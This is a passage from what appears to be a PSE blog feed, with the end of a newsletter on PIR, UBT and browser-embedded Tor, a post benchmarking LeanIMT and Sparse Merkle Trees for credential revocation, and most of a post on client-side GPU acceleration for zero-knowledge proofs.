methodology. Despite the performance issues of Plinko, we still see it viable for large-but-immutable datasets such as Ethereum archival data. We engaged a grantee to boost our specc'ing spree and take on an additional PIR scheme. FHE-native schemes in particular are of interest. We sketched an overall multi-engine multi-dataset system design that could potentially give us the flexibility of pairing schemes with different slices of Ethereum data such that the overall performance is UX friendly all while preserving the same privacy had there been only 1 engine serving the entire Ethereum data. ### UBT We continue the implementation of the end-to-end UBT pipeline in Geth by adding the path that converts MPT state into UBT, then running witness generation and verification using keeper on top of the converted state. We have also started testing UBT conversion on mainnet to serve some usecases such as PIR server. ### Arti We [kicked off](https://gitlab.torproject.org/tpo/core/arti/-/merge_requests/3600) collaboration with Tor Project with the aim to get Arti Tor client embeddable in browser context. Significant [progress](https://github.com/voltrevo/arti/tree/wasm-arti-client) features a [working prototype](https://github.com/voltrevo/arti/blob/wasm-arti-client/examples/tor-fetch.js), and we're now smoothing the rough edges. We submitted [PR to integrate Tor-js into ethersjs](https://github.com/ethers-io/ethers.js/pull/5083) so wallets integrating Ethersjs can route RPC calls through Tor with minimal effort. Tor-js was intended as a temporary unblocker for Tor in browser until Arti is ready for browser embedding. ]]> newsletter <![CDATA[Revocation in zkID: Merkle Tree-based Approaches]]> https://pse.dev/blog/revocation-in-zkid-merkle-tree-based-approaches https://pse.dev/blog/revocation-in-zkid-merkle-tree-based-approaches Tue, 03 Feb 2026 00:00:00 GMT <![CDATA[Merkle tree-based approaches enable efficient and privacy-preserving revocation checks for verifiable credentials using either membership proofs over valid credentials or non-membership proofs over revoked credentials. Membership proofs are faster to compute, while non-membership proofs scale better in practice since updates occur only when credentials are revoked.]]> <![CDATA[ **Summary**: Merkle trees are widely used in revocation systems for verifiable credentials, particularly in blockchain and smart contract contexts. They enable efficient and privacy-preserving revocation through two main approaches: membership proofs in a list of valid credentials and non-membership proofs in a list of revoked credentials. Benchmarks indicate that while membership proofs are faster to compute, non-membership proofs tend to be more efficient overall, as they require updates only when credentials are revoked, making them more scalable and cost-effective for real-world use. ## Revocation Revocation is the process that allows an issuer to invalidate a previously issued verifiable credential so that verifiers can detect it is no longer valid. Ongoing work on privacy-preserving revocation mechanisms is being developed by Kai and Ken[^4]. ## Merkle Tree-based Revocation Approaches Merkle tree based revocation systems generally follow one of two models. Either they maintain a list of valid credentials and require users to prove inclusion in that list, or they maintain a list of revoked credentials and require users to prove exclusion from it. Both models rely on Merkle proofs, but they differ significantly in update frequency and scalability. In both cases, each credential, or a commitment derived from it, corresponds to a single leaf in the Merkle tree. ### Membership Proof in a List of Valid Credentials In this approach, users prove that their credential is included in a list of valid credentials. If the credential is present in the tree, it is considered not revoked. The Incremental Merkle Tree (IMT) is a data structure commonly used for membership proofs. LeanIMT[^2] (optimized IMT) is a binary Merkle tree that updates efficiently by appending new entries on the right side only. ### Non-Membership Proof in a List of Revoked Credentials In this approach, users prove that their credential is not included in a list of revoked credentials. If the credential does not appear in the revocation tree, it is considered valid. The Sparse Merkle Tree (SMT)[^1] is a binary Merkle powered trie where most branches are empty and each element inserted has a fixed position. It's used for membership and non-membership proofs. ## System Behavior for each Approach ### Number of actions per approach Using membership proofs over a list of valid credentials means updating the tree every time a new credential is issued. In contrast, with non-membership proofs over a list of revoked credentials, updates are needed only when a credential is revoked. Since revoked credentials are usually far fewer than valid ones, the non-membership approach is much more efficient. ### Scalability of the approaches When trees become very large (e.g., millions of credentials), generating a client-side Merkle proof is no longer feasible. It's necessary to have a server to do it. This is both time and data consuming and can also allow the server to de-anonymize the proofs. Some possible solutions: - Merkle forest - more complex data structure - Private Information Retrieval (PIR) - too slow for production-scale use today[^3] - TEE/MPC + ORAM - best current solution ## Membership and Non-Membership Proofs Tech Stack - Both approaches are usually implemented with Circom + SnarkJS, using Groth16 as the proving system, which ensures fast client-side generation and low-cost smart contract verification. - Since Groth16 is commonly used, these methods require a trusted setup per circuit. Membership and non-membership proofs are also compatible with other proving systems such as Plonk, Fflonk, and UltraHonk. ## Complexity Analysis ### Time Complexity | Operation | LeanIMT | SMT | | --------------------- | ---------------------------------------------------------------------- | ---------------------------------------- | | Notation | n = number of leaves | n = maximum supported leaves | | Insert | $O(\log n)$ | $O(\log n)$ | | Generate Merkle Proof | $O(\log n)$ | $O(\log n)$ | | Verify Merkle Proof | $O(\log n)$ | $O(\log n)$ | | Search | $O(n)$ - requires scanning all leaves
$O(1)$ - if index is cached | $O(\log n)$ - guided traversal using key | ### LeanIMT $n$: Number of leaves in the tree. - The time complexity of Insert, Generate Merkle Proof and Verify Merkle Proof is $O(\log n)$. - Search operation has time complexity $O(n)$, since it requires traversing all the leaves to find the desired one, as the structure does not support direct leaf access. - If the index of the leaf is saved (cached), since its position does not change when new values are added, the search cost improves from $O(n)$ to $O(1)$. ### SMT $n$: Maximum supported leaves in the tree. - The time complexity of Insert, Generate Merkle Proof and Verify Merkle Proof is $O(\log n)$. - The search operation remains $O(\log n)$, as the key guides direct traversal from the root to the corresponding leaf. ### Space Complexity | Structure | Complexity | Notation | | --------- | ---------- | -------------------------------- | | LeanIMT | $O(n)$ | $n$ = number of leaves | | SMT | $O(n)$ | $n$ = number of non-empty leaves | ### LeanIMT $n$: Number of leaves in the tree. The space complexity of the LeanIMT is $O(n)$. ### SMT $n$: Number of non-empty leaves in the tree. The space complexity of the SMT is $O(n)$. ### Practical Depth Ranges - LeanIMT: In practice, LeanIMTs are used with relatively small tree depths, typically between 10 and 32 levels, since they grow dynamically with the number of inserted elements. This corresponds to handling between roughly $2^{10}$ (≈ 1k) and $2^{32}$ (≈ 4B) leaves, which is sufficient for most incremental use cases. - SMT: SMTs usually have fixed depths between 64 and 256, depending on the key space size. This depth is constant regardless of how many keys are actually used. A tree with depth $d$ can theoretically address up to $2^{d}$ unique keys (leaves). In practice, only a very small subset of this key space is populated, and the SMT efficiently stores only non-default nodes. ### Complexity Analysis Insights LeanIMTs scale with the amount of actual data, while SMTs scale with the size of the key space. SMTs efficiently store key/value maps using direct access paths and sparse storage, whereas LeanIMTs rely on linear search when the index of an element is not cached. ## Benchmarks LeanIMT and SMT implementations were benchmarked across Circom circuits, browser environments, Node.js environments, and Solidity smart contracts to evaluate their overall efficiency and practicality. These benchmarks are designed to reflect how each data structure would typically be used in real world revocation systems. The benchmarks shown here focus on the most representative measurements for each environment: - Circuits: non-linear constraints and Zero-Knowledge (ZK) artifact sizes. - Browser: tree recreation, Merkle proof generation, and ZK proof generation. - Node.js: tree insertions and ZK proof verification. - Smart contracts: tree insertions, ZK proof verification, and deployment costs. Many additional benchmarks are available and can be generated using the repository. ### Running the benchmarks To run the benchmarks, follow the instructions in the repository README files. The repository provides scripts and commands for running circuit, browser, Node.js, and smart contract benchmarks. - GitHub repository: https://github.com/vplasencia/vc-revocation-benchmarks - Browser App: https://vc-revocation-benchmarks.vercel.app ### System Specifications and Software environment All the benchmarks were run in an environment with these properties: **System Specifications** Computer: MacBook Pro Chip: Apple M2 Pro Memory (RAM): 16 GB Operating System: macOS Sequoia version 15.6.1 **Software environment** Node.js version: 23.10.0 Circom compiler version: 2.2.2 Snarkjs version: 0.7.5 ### Circuit Benchmarks The circuits are written using the Circom DSL. ### Number of Non-linear Constraints Fewer constraints indicate a more efficient circuit. ![LeanIMT vs SMT: Number of Constraints Across Tree Depth](/articles/revocation-in-zkid-merkle-tree-based-approaches/constraints-absolute.webp) ![Relative Efficiency: Ratio of Constraints](/articles/revocation-in-zkid-merkle-tree-based-approaches/constraints-ratio.webp) ### Proof Size Groth16 Proof Size is always fixed, independent of circuit size: ~ 805 bytes (in JSON format). ### ZK Artifact Size #### WASM File Size - SMT ≈ 2.2-2.3 MB - LeanIMT ≈ 1.8 MB #### ZKEY File Size From tree depth 2 to 32: - SMT: grows from 1.4 MB to 5.9 MB. - LeanIMT: grows from 280 kB to 4.4 MB. #### Verification Key JSON File Size Constant at ~2.9 kB for both. ### Circuit Insights - At every tree depth, SMT has between ~1560 and ~1710 more constraints than LeanIMT. - While the absolute difference grows slowly with depth, the relative ratio decreases: for small depths, SMT can have over 4x more constraints, but by depth 32 it is only about 1.22x more. - This shows that LeanIMT provides a large relative improvement for small trees, while still maintaining an absolute advantage for larger trees. - The WASM artifacts remain almost constant in size for both (1.8 MB vs 2.3 MB). - LeanIMT produces smaller proving keys across all depths. Both exhibit near-linear ZKEY growth as tree depth increases, but LeanIMT remains consistently lighter, up to 25-30% smaller than SMT. - LeanIMT is more efficient overall since both its WASM and ZKEY files are lighter. ### Browser Benchmarks ### Recreate Tree | Members | SMT Time | LeanIMT Time | | ------- | -------- | ------------ | | 128 | 232.3 ms | 17.6 ms | | 512 | 1 s | 78.7 ms | | 1024 | 2.1 s | 139.2 ms | | 2048 | 4.6 s | 273.0 ms | ### LeanIMT Performance | Members | Recreate Tree Time | | --------- | ------------------ | | 10 000 | 1.2 s | | 100 000 | 11.9 s | | 1 000 000 | 1 m 59.9 s | ![LeanIMT vs SMT: Recreate Tree Browser](/articles/revocation-in-zkid-merkle-tree-based-approaches/recreate-tree-browser.webp) ### 128 - 2048 credentials - Generate Merkle Proof (both): ~5 ms - Non-Membership ZK Proofs (SMT): 446-590 ms - Membership ZK Proofs (LeanIMT): 337-433 ms ### LeanIMT 10K - 1M credentials - Generate Merkle Proof: ~5 ms - Membership ZK Proofs: 382-477 ms ### Browser Insights - LeanIMT remains faster across all operations in the browser. - Since the LeanIMT typically handles around 100,000 credentials or more, while the SMT manages only hundreds or thousands, the SMT can appear faster when recreating the tree due to its smaller size. - Both SMT and LeanIMT are practical for browser-based applications. - LeanIMT is ideal for systems that need frequent updates and fast client-side proof generation, while SMT is better when non-membership proofs are required. ### Node.js Benchmarks ![LeanIMT vs SMT: Insert Function Node.js](/articles/revocation-in-zkid-merkle-tree-based-approaches/insert-node.webp) - ZK Proof verification is constant at roughly 9 ms across all depths. ### Node.js Insights - LeanIMT insertions are significantly faster than SMT insertions at the same number of leaves. However, since a LeanIMT in a real world system can handle 1 million or more credentials, while an SMT typically manages only hundreds or thousands of revoked credentials, SMT insertions can appear faster in practice due to the smaller tree size. - ZK proof verification times are similar, since they depend primarily on the proof system rather than the data structure. ### Smart Contract Benchmarks - Insert 100 leaves into the tree. - Verify one ZK proof with a tree of 10 leaves. ### Function Gas Costs | Operation | LeanIMT (gas) | SMT (gas) | | --------------- | ------------- | --------- | | Insert | 181,006 | 1,006,644 | | Verify ZK Proof | 224,832 | 224,944 | ### Deployment Costs | Contract | LeanIMT (avg gas) | SMT (avg gas) | | -------------- | ------------------------ | -------------------- | | Bench Contract | 461,276 | 436,824 | | Verifier | 350,296 | 349,864 | | Library | 3,695,103 _(PoseidonT3)_ | 1,698,525 _(SmtLib)_ | ### Smart Contract Insights - LeanIMT is significantly cheaper for insert operations, reducing gas consumption by around 82% compared to SMT. - Verification costs are identical between both, as they share the same Groth16 verifier logic. - Both implementations remain practical for mainnet deployment. - LeanIMT costs a bit more to deploy due to the Poseidon library. ## Takeaways - Membership proofs are faster to compute than non-membership proofs. - Overall, LeanIMT offers better performance for membership proofs and client-side use cases, while SMT remains the preferred option when non-membership proofs are required. - Since revoked credentials are usually far fewer than valid ones, non-membership proofs over a list of revoked credentials are often more efficient in practice. ## Future Directions This work highlights the following directions that could be explored to further improve privacy-preserving revocation systems with Merkle tree-based solutions: - Further optimization of SMT implementations across different programming languages. - The design of a new data structure to support more efficient non-membership proofs. ## Acknowledgement I would like to thank Ying Tong, Zoey, Privado ID/Billions (Oleksandr and Dmytro), Kai Otsuki, and the PSE members for all the feedback, insights, ideas, and direction they shared along the way. Their support and thoughtful conversations were incredibly helpful in shaping this work. [^1]: Sparse Merkle Tree (SMT) paper: https://docs.iden3.io/publications/pdfs/Merkle-Tree.pdf [^2]: LeanIMT paper: https://zkkit.org/leanimt-paper.pdf [^3]: Ethereum Privacy: Private Information Retrieval - https://pse.dev/blog/ethereum-privacy-pir [^4]: Revocation report: https://github.com/decentralized-identity/labs-privacy-preserving-revocation-mechanisms/blob/main/docs/report.md]]>
zero-knowledge zkID ZK-Kit
<![CDATA[Client-Side GPU Acceleration for ZK: A Path to Everyday Ethereum Privacy]]> https://pse.dev/blog/client-side-gpu-everyday-ef-privacy https://pse.dev/blog/client-side-gpu-everyday-ef-privacy Mon, 26 Jan 2026 00:00:00 GMT <![CDATA[Everyday Ethereum privacy needs ZK proofs generated on users' devices; client-side GPU acceleration makes this practical while aligning with post-quantum goals.]]> <![CDATA[ *Thanks to Alex Kuzmin, Andy Guzman, Miha Stopar, Sinu, and Zoey for their generous feedback and review.* ## TL;DR - **The Problem**: Delegating ZK proof generation to servers often fails to preserve privacy, as the server sees your private inputs, though there are recent researches on private proof delegation [^2] [^37] [^38] to mitigate this issue. Ultimately, true privacy requires client-side proving, but current performance is too slow for mainstream adoption. - **The Opportunity**: Modern mobile phones and laptops contain GPUs well-suited to accelerating parallelizable ZK primitives (NTT, MSM, hashing). Benchmarks show field operations on smaller fields like M31 achieve more than 100x throughput compared to BN254 on an Apple M3 chip [^19]. - **The Gap**: No standard cryptographic library exists for client-side GPU implementations. Projects reinvent primitives from scratch, and best practices for mobile-specific constraints (hybrid CPU-GPU coordination, thermal management) remain unexplored. - **Post-Quantum Alignment**: Smaller-field operations in post-quantum (PQ) schemes (hash-based, lattice-based) map naturally to GPU 32-bit ALUs, making this exploration more valuable as the ecosystem prepares for quantum threats. ## 1. Privacy is Hygiene Ethereum's public ledger ensures transparency, but it comes at a steep cost: every transaction is permanently visible, exposing users' financial histories, preferences, and behaviors. Chain analysis tools can easily link pseudonymous addresses to real-world identities, potentially turning the blockchain into a surveillance machine. As Vitalik put it, ["Privacy is not a feature, but hygiene."](https://x.com/VitalikButerin/status/1992732552814305728) It is a fundamental requirement for a safe decentralized system that people are willing to adopt for everyday use. ![privacy-is-hygiene](/articles/mopro-client-side-gpu-everyday-ef-privacy/privacy-is-hygiene.png) Delegating ZK proof generation to servers undermines this hygiene. While server-side proving is fast and convenient, it requires sharing raw inputs with third parties. Imagine handing your bank statement to a stranger to "anonymize" it for you. If a server sees your IP or, even worse, your transaction details, privacy is compromised regardless of the proof's validity. Though recent studies explore private delegation of provers [^2], true sovereignty requires client-side proving: users generate proofs on their own devices, keeping data private from the start. This is especially critical for everyday Ethereum privacy. Think of sending payments, voting in DAOs, or managing identity-related credentials (e.g. health records) without fear of exposure. Without client-side capabilities, privacy-preserving tech remains niche, adopted only by privacy-maximalist geeks. Hence, accelerating proofs on consumer hardware could be the bedrock for creating mass adoption of privacy, making it as seamless as signing a transaction today. ## 2. GPU Acceleration: A Multi-Phase Necessity for Client Proving Committing resources to client-side GPU acceleration for ZKP is both a short-term and long-term opportunity for Ethereum's privacy landscape. GPUs excel at parallel computations, aligning perfectly with core primitives that could be used in privacy-preserving techs like ZKP and FHE, and client devices (phones, laptops) increasingly feature growing GPU capabilities. This could reduce proving times to interactive levels, fostering mass adoption. ### Current Status and Progress Although client-side proving is a reality, the user experience is still catching up. [CSP benchmarks from ethproofs.org](https://ethproofs.org/csp-benchmarks) show that while consumer devices can now generate proofs in seconds, the process often takes longer than 100ms. For scenarios requiring real-time experience, like payments or some DeFi applications, this delay creates noticeable friction that hinders adoption. | ![csp-benchmark](/articles/mopro-client-side-gpu-everyday-ef-privacy/csp-benchmark.png) | |:--:| | CSP benchmarks from ethproofs.org [^21]. Snapshot taken on January 19, 2026 | Several zkVM projects working on real-time proving have leveraged server-side GPUs (e.g. CUDA on RTX-5090) for ~79x improvement on average proving times, according to site metrics from [Jan 28, 2025](https://web.archive.org/web/20250128162122/https://ethproofs.org/) to [Jan 23, 2026](https://web.archive.org/web/20260123033924/https://ethproofs.org/), validating the potential of GPU acceleration for proving. On the client side, though still in the early stages of PoC and exploration, several projects highlight potential: - [Ingonyama ICICLE Metal](https://dev.ingonyama.com/start/architecture/install_gpu_backend#overview): Optimizes ZK primitives such as MSM and NTT for Apple's Metal API, achieving up to 5x acceleration on iOS/macOS GPUs (v3.6 release detailed in their [blog post](https://medium.com/@ingonyama/icicle-goes-metal-v3-6-163fa7bbfa44)). - [zkMopro Metal MSM v2](https://github.com/zkmopro/gpu-acceleration/releases/tag/v0.2.0): Explores MSM acceleration on Apple GPUs, improved 40-100x over v1. For details, check this [write-up](https://pse.dev/blog/mopro-metal-msm-v2). Building on ZPrize 2023 winners Tal and Koh's WebGPU innovations (inspired by their implementation) [^5]. - [Ligetron](https://github.com/ligeroinc/ligero-prover): Leverages WebGPU for faster SHA-256 and NTT operations, enabling cross-platform ZK both natively and in browsers. Broader efforts from ZPrize and Geometry.xyz underscore growing momentum, though protocol integration remains limited [^8][^7]. ### Opportunities for Acceleration Several ZK primitives are inherently parallelizable, making GPUs a natural fit: - **MSM (Multi-Scalar Multiplication)**: Sums scalar multiplications on elliptic curves; parallel via independent additions, bottleneck in elliptic curve-related schemes. - **NTT (Number Theoretic Transform)**: A fast algorithm for polynomial multiplication similar to FFT but over finite fields; parallel via butterfly ops, core to polynomial operations in many schemes. - **Polynomial Evaluation and Matrix-Vector Multiplication**: Computes polynomial values at points or matrix-vector products; high-throughput on GPU shaders via SIMD parallelism. - **Merkle Tree Commitments**: Builds hashed tree structures for efficient verification; parallel-friendly for batch processing and hashing. Additionally, building blocks in interactive oracle proofs (IOPs), such as the sumcheck protocol [^35], which reduces multivariate polynomial sums to univariate checks, benefit from massive parallelism in tasks such as summing large datasets or verifying constraints. While promising for GPU acceleration in schemes like WHIR [^17] or GKR-based systems [^36], sumcheck is not currently the primary bottleneck in most polynomial commitment schemes (PCS). These primitives map directly to bottlenecks in popular PCS, as shown in the table below. | PCS Type | Typical Schemes | Family (Hardness Assumption) | Primary Prover Bottleneck | Acceleration Potential | PQ Secure | |----------|-----------------|------------------------------|---------------------------|------------------------|----| | **KZG** [^9] | Groth16, PlonK, Libra | Pairing-based (-SDH) | MSM | **Moderate**: Memory-bandwidth limited | No | | **IPA** [^10] | Halo2, Bulletproofs, Hyrax | Discrete Log (DL) | MSM | **Moderate**: Parallel EC additions | No | | **Hyrax** [^11] | GKR-based SNARKs | Discrete Log (DL) | MSM | **Moderate**: Similar to IPA but multilinear | No | | **LaBRADOR** [^12] | LaBRADOR-based SNARKs | Lattice-based (SIS / LWE) | NTT, Matrix-Vector Ops | **High**: Fast small-integer arithmetic | Yes | | **FRI** [^13] / **STIR** [^14] | STARKs, Plonky2 | Hash-based (CRHF) | Hashing, NTT | **High**: Extremely parallel throughput | Yes | | **WHIR** [^17] | Multivariate SNARKs | Hash-based (CRHF) | Hashing | **High**: Extremely parallel throughput | Yes | | **Basefold** [^15] | Basefold-SNARKs | Hash-based (CRHF) | Linear Encoding & Hashing | **High**: Field-agnostic parallel encoding | Yes | | **Brakedown** [^16] | Binius, Orion | Hash-based (CRHF) | Linear Encoding | **High**: Bit-slicing (SIMD) | Yes | *Table 1: ZK primitives mapped to PCS bottlenecks and GPU potential* Moreover, VOLE-based ZK proving systems, such as QuickSilver [^39], Wolverine [^40], and Mac'n'Cheese [^41], utilize vector oblivious linear evaluation (VOLE) to construct efficient homomorphic commitments. These act as PCS based on symmetric cryptography or learning parity with noise (LPN) assumptions. The systems are post-quantum secure. Their main prover bottlenecks are VOLE extensions, hashing, and linear operations, which make them well-suited for GPU acceleration through parallel correlation generation and batch processing. In the short term, primitives related to ECC (e.g. MSM in pairing-based schemes) are suitable for accelerating existing, well-adopted proving systems like Groth16 or those using KZG commitments, providing immediate performance gains for current Ethereum applications. Quantum preparedness adds urgency for the long term: schemes on smaller fields (e.g. 31-bit fields like Mersenne 31, Baby Bear, or Koala Bear [^18]) align better with GPU native words (32-bit), yielding higher throughput. Field-Ops Benchmarks [^19] confirm this. Under the same settings (not optimal for max performance but for fairness of experiment), smaller fields like M31 achieve over 100 Gops/s on client GPUs, compared to <1 Gops/s for larger ones like BN254. | Operation | Metal GOP/s | WebGPU GOP/s | Ratio | |-----------|-------------|--------------|-------| | u32_add | 264.2 | 250.1 | 1.06x | | u64_add | 177.5 | 141.1 | 1.26x | | m31_field_add | 146.0 | 121.7 | 1.20x | | m31_field_mul | 112.0 | 57.9 | 1.93x | | bn254_field_add | 7.9 | 1.0 | 7.64x | | bn254_field_mul | 0.63 | 0.08 | 7.59x | As quantum tech advances, exploration related to PQ primitives (e.g. lattice-based or hash-based operations) will drive mid-to-long-term client-side proving advancements, ensuring resilience against quantum threats like ["Harvest Now, Decrypt Later" (HNDL) attacks, as mentioned in the Federal Reserve HNDL Paper](https://www.federalreserve.gov/econres/feds/files/2025093pap.pdf) and underscored by the [Ethereum Foundation's long-term quantum strategy](https://x.com/drakefjustin/status/2014791629408784816), which is a critical factor if we are going to defend people's privacy on a daily-life scale. ## 3. Challenges: Bridging the Gap to Everyday Privacy Despite progress, some hurdles remain between the current status and everyday usability. ### 3.1 Fragmented Implementation - No standard crypto library exists for client-side GPUs, forcing developers to reinvent wheels from scratch, which is often not fully optimized. - Lack of State-of-the-Art (SoTA) references for new explorations, leading to duplicated efforts. - Inconsistent benchmarking: metrics like performance, I/O overhead, peak memory, and thermal/power traces are rarely standardized, complicating comparisons. Luckily, PSE's client-side proving team is improving this [^21]. ### 3.2 Limited Quantum-Resistant Support Most GPU accelerations have focused on PCS related to elliptic-curve cryptography (ECC) like IPA, Hyrax, and KZG (pairing-based). All are vulnerable to quantum attacks via Shor's algorithm. These operate on larger fields (e.g. 254-bit), inefficient for GPUs' 32-bit native operations, and schemes like Groth16 face theoretical acceleration upper bounds, as analyzed in Ingonyama's blog post on hardware acceleration for ZKP [^22]. On the other hand, PQ schemes such as those based on lattices or hashes (e.g. FRI variants) are underexplored on client GPUs but offer greater parallelism. ### 3.3 Device-Specific Constraints Client devices differ vastly from servers: limited resources, shared GPU duties (e.g. graphics rendering), and thermal risks. Blindly offloading to GPUs can cause crashes or battery drain [^23] [^34]. Hybrid CPU-GPU approaches, inspired by [Vitalik's Glue and Coprocessor architecture](https://vitalik.eth.limo/general/2024/09/02/gluecp.html), need further exploration. Key unknowns include: - Task dispatching hyperparameters. - Caching in unified memory. Check [Ingonyama's Metal PoC](https://github.com/ingonyama-zk/metal-poc) for zero-cost CPU-GPU transfers. - Balancing operations: GPUs for parallelism, CPUs for sequential tasks. | ![Apple's UMA](/articles/mopro-client-side-gpu-everyday-ef-privacy/apple-uma.png) | |:--:| | Apple GPUs have the unified memory model in which the CPU and the GPU share system memory | ## 4. PSE's Roadmap for GPU Acceleration To achieve client-side GPU acceleration's full potential, we propose a structured roadmap focused on collaboration and sustainability: 1. **Build Standard Cryptography GPU Libraries for ZK** - Mirror Arkworks's success in Rust zkSNARKs: Create modular, reusable libs optimized for client GPUs (e.g. low RAM, sustained performance) [^25]. - Prioritize PQ foundations to enable HNDL-resistant solutions. For example, lattice-based primitives like NTT that scale with GPU parallelism [^20]. - Make it community-owned, involving Ethereum, ZK, and privacy ecosystems for joint development, accelerating iteration and adoption in projects like mobile digital wallets. 2. **Develop Best-Practice References** - Integrate GPU acceleration into client-side suitable protocols, including at least one PQ scheme and mainstream ones like Plonky3 [^26] or Jolt [^27]. - Optimize for mobile, tuning for sustained performance over peaks and avoiding thermal throttling via hybrid CPU-GPU coordination. - Create demo protocols as end-to-end references running on real devices with GPU boosts, serving as "how-to" guides for adopting standard libs. This path transitions from siloed projects to ecosystem-wide tools, paving the way for explorations in sections like our starting points below. ## 5. Starting Points [zkSecurity's WebGPU overview](https://blog.zksecurity.xyz/posts/webgpu/) highlights its constraints versus native APIs like Metal or Vulkan. For example, limited integer support and abstraction overheads. To validate, a PoC was conducted to compare field operations (M31 vs. BN254) across APIs [^19]. Key findings: - **u64 Emulation Overhead**: Metal's native 64-bit support edges WebGPU (1.26x slower due to u32 emulation), compounding on complex ops. - **Field Size vs. Throughput**: Smaller fields shine. M31 hits 100+ Gops/s; BN254 <1 Gops/s (favoring PQ schemes). - **Complexity Amplifies Gaps**: Simple u32 ops show parity (1.06x); advanced arithmetic like Montgomery multiplication widens to 7x for BN254. Start with native APIs first, such as Metal for iOS (sustainable boosts), then WebGPU for cross-platform reach. This prioritizes real-world viability over premature optimization. ## 6. Conclusion Client-side GPU acceleration for ZKPs represents both immediate and long-term opportunities for Ethereum privacy, potentially improving UX for adopting privacy-preserving tech and enabling quantum-secure daily-life use cases like private payments. By addressing fragmentation, embracing PQ schemes, and optimizing for mobile devices, we can make privacy "hygiene" for everyone (from casual users to privacy-maximalists). We believe that with collaborative efforts from existing players and the broader community, everyday Ethereum privacy is within reach. [^2]: Kasra Abbaszadeh, Hossein Hafezi, Jonathan Katz, & Sarah Meiklejohn. (2025). Single-Server Private Outsourcing of zk-SNARKs. Cryptology ePrint Archive. https://eprint.iacr.org/2025/2113 [^5]: ZPrize 2023 Entry: Tal and Koh's WebGPU MSM Implementation. GitHub. https://github.com/z-prize/2023-entries/tree/main/prize-2-msm-wasm/webgpu-only/tal-derei-koh-wei-jie [^7]: Geometry: Curve Arithmetic Implementation in Metal. GitHub. https://github.com/geometryxyz/msl-secp256k1 [^8]: ZPrize. (2023). Announcing the 2023 ZPrize Winners. https://www.zprize.io/blog/announcing-the-2023-zprize-winners [^9]: Aniket Kate, Gregory M. Zaverucha, & Ian Goldberg. (2010). Constant-Size Commitments to Polynomials and Their Applications. In Advances in Cryptology - ASIACRYPT 2010. Springer. https://link.springer.com/chapter/10.1007/978-3-642-17373-8_11 [^10]: Jonathan Bootle, Andrea Cerulli, Pyrros Chaidos, Jens Groth, & Christophe Petit. (2016). Efficient Zero-Knowledge Arguments for Arithmetic Circuits in the Discrete Log Setting. Cryptology ePrint Archive. https://eprint.iacr.org/2016/263 [^11]: Riad S. Wahby, Ioanna Tzialla, abhi shelat, Justin Thaler, & Michael Walfish. (2017). Doubly-efficient zkSNARKs without trusted setup. Cryptology ePrint Archive. https://eprint.iacr.org/2017/1132 [^12]: Ward Beullens & Gregor Seiler. (2022). LaBRADOR: Compact Proofs for R1CS from Module-SIS. Cryptology ePrint Archive. https://eprint.iacr.org/2022/1341 [^13]: Eli Ben-Sasson, Iddo Bentov, Yinon Horesh, & Michael Riabzev. (2018). Scalable, transparent, and post-quantum secure computational integrity. Cryptology ePrint Archive. https://eprint.iacr.org/2018/046 [^14]: Gal Arnon, Alessandro Chiesa, Giacomo Fenzi, & Eylon Yogev. (2024). STIR: Reed–Solomon Proximity Testing with Fewer Queries. Cryptology ePrint Archive. https://eprint.iacr.org/2024/390 [^15]: Hadas Zeilberger, Binyi Chen, & Ben Fisch. (2023). BaseFold: Efficient Field-Agnostic Polynomial Commitment Schemes from Foldable Codes. Cryptology ePrint Archive. https://eprint.iacr.org/2023/1705 [^16]: Alexander Golovnev, Jonathan Lee, Srinath Setty, Justin Thaler, & Riad S. Wahby. (2021). Brakedown: Linear-time and field-agnostic SNARKs for R1CS. Cryptology ePrint Archive. https://eprint.iacr.org/2021/1043 [^17]: Gal Arnon, Alessandro Chiesa, Giacomo Fenzi, & Eylon Yogev. (2024). WHIR: Reed–Solomon Proximity Testing with Super-Fast Verification. Cryptology ePrint Archive. https://eprint.iacr.org/2024/1586 [^18]: Voidkai. Efficient Prime Fields for Zero-knowledge proof. HackMD. https://hackmd.io/@Voidkai/BkNX3xUZA [^19]: Field-Ops Benchmarks. GitHub. https://github.com/moven0831/field-ops-benchmarks [^20]: Jillian Mascelli & Megan Rodden. (2025, September). “Harvest Now Decrypt Later”: Examining Post-Quantum Cryptography and the Data Privacy Risks for Distributed Ledger Networks. Federal Reserve Board. https://www.federalreserve.gov/econres/feds/files/2025093pap.pdf [^21]: Proving Backends Benchmarks by Client-side Proving Team from PSE. https://ethproofs.org/csp-benchmarks [^22]: Ingonyama. (2023, September 27). Revisiting Paradigm’s “Hardware Acceleration for Zero Knowledge Proofs”. Medium. https://medium.com/@ingonyama/revisiting-paradigms-hardware-acceleration-for-zero-knowledge-proofs-5dffacdc24b4 [^23]: "GPU in Your Pockets", zkID Days Talk at Devconnect 2025. https://streameth.org/6918e24caaaed07b949bbdd1/playlists/69446a85e505fdb0fa31a760 [^25]: Arkworks. https://arkworks.rs/ [^26]: Plonky3. GitHub. https://github.com/Plonky3/Plonky3 [^27]: Jolt. GitHub. https://github.com/a16z/jolt [^32]: zkMopro GPU Acceleration Release v0.2.0. GitHub. [^33]: Vitalik Buterin. (2024, September 2). Glue and coprocessor architectures. https://vitalik.eth.limo/general/2024/09/02/gluecp.html [^34]: Benoit-Cattin, T., Velasco-Montero, D., & Fernández-Berni, J. (2020). Impact of Thermal Throttling on Long-Term Visual Inference in a CPU-Based Edge Device. Electronics, 9(12), 2106. https://doi.org/10.3390/electronics9122106 [^35]: Carsten Lund, Lance Fortnow, Howard Karloff, & Noam Nisan. (1992). Algebraic methods for interactive proof systems. Journal of the ACM (JACM). https://dl.acm.org/doi/10.1145/146585.146605 [^36]: Shafi Goldwasser, Yael Tauman Kalai, & Guy N. Rothblum. (2008). Delegating computation: interactive proofs for muggles. In Proceedings of the fortieth annual ACM symposium on Theory of computing. https://dl.acm.org/doi/10.1145/1374376.1374396 [^37]: Takamichi Tsutsumi. (2025). TEE based private proof delegation. https://pse.dev/blog/tee-based-ppd [^38]: Takamichi Tsutsumi. (2025). Constant-Depth NTT for FHE-Based Private Proof Delegation. https://pse.dev/blog/const-depth-ntt-for-fhe-based-ppd [^39]: Kang Yang, Pratik Sarkar, Chenkai Weng, & Xiao Wang. (2021). QuickSilver: Efficient and Affordable Zero-Knowledge Proofs for Circuits and Polynomials over Any Field. Cryptology ePrint Archive. https://eprint.iacr.org/2021/076 [^40]: Chenkai Weng, Kang Yang, Jonathan Katz, & Xiao Wang. (2020). Wolverine: Fast, Scalable, and Communication-Efficient Zero-Knowledge Proofs for Boolean and Arithmetic Circuits. Cryptology ePrint Archive. https://eprint.iacr.org/2020/925 [^41]: Carsten Baum, 